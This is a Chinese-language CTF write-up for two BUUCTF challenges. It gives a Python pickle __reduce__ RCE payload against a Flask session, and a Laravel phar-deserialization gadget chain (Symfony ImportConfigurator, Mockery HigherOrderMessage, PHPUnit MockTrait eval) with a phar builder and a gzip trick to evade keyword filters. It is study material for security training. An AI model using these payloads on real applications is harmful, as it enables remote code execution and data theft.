Background
r牛去打把题分享出来了,后来发现居然上buu了,就不本地搭建了,直接上去看看,正好马上也要打awdplus了,练练手
easyflask
经典的题目
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
# add secret key to enable session
# and this is a fake secret key, just an example
app.config['SECRET_KEY'] = 'asdkahga'
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return render_template('index.html')
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
print(pickle.loads(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
if isinstance(u, dict):
u = b64decode(u.get('b'))
if 'system' in str(u):
print('no')
exit();
u = pickle.loads(u)
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
except Exception:
return 'uhh?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
但确实第一次接触python反序列化,这里面比较有意思的点是生成Payload最好在linux环境下,因为python序列化的数据
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览
并且这是pickle模块下的功能
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据
而出现漏洞的原因是因为python会自动执行__reduce__函数,跟php中的wakeup一样,基本上就可以rce了
本题payload
import pickle
import os
import base64
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda: o.uname,
'__reduce__': lambda:(eval, ("__import__('os').popen('echo `cat /flag ` > /f1ag').read()",))
})
u = pickle.dumps(User())
print(base64.b64encode(u).decode())
tinypng
可以算是这次题目的压轴题目了
解压之后larverl的readme直接给了
直接猜到可能是反序列化题目了
直接就去router下找路由
index路由指向IndexController的fileUpload方法
image路由指向ImageController的handle方法
我们直接定位这两个路由,在第一个路由里面一个上传位点,要求末尾是png
内容不能有<?| php|HALT_COMPILER 然后会返回我们的文件名
看下一个类
接受image参数,explode取后缀再次要求了png结尾
$source传入到了imgcompress类
并且是可控的,就是这个$this->src
然后又调用compressimg
看到这里基本确定是phar反序列化
说到这了,再次说下phar反序列化的知识点,一般来说文件操作都可以触发反序列化
利用前提
可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控
调试的时候别忘了将php.ini中的phar.readonly设置成off。
那么到底哪些函数能触发phar反序列化
更多的移步这里 https://blog.csdn.net/weixin_42529544/article/details/113306353
刚才我们注意到 $this->src被getimagesize调用 可以phar反序列化
but
他ban掉了phar的标记字样 <?php__HALT_COMPILER()
这里面的知识点是phar可以解析gzip压缩过的文件
反序列化位点有了,找链子
ImportConfigurator 有destruct()
调用类外函数
找_call
HigherOrderMessage有
可控处可以调用 动态执行函数
$expectation = $this->mock->{$this->method}($method);
找威胁函数
MockTrait general函数有eval
ok 链子完整版
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent=$class;
$this->route='test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock=$class;
$this->method='generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $mockName;
private $classCode;
public function __construct(){
$this->mockName='123';
$this->classCode='phpinfo();';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$c=new MockTrait();
$b=new HigherOrderMessage($c);
$a=new ImportConfigurator($b);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>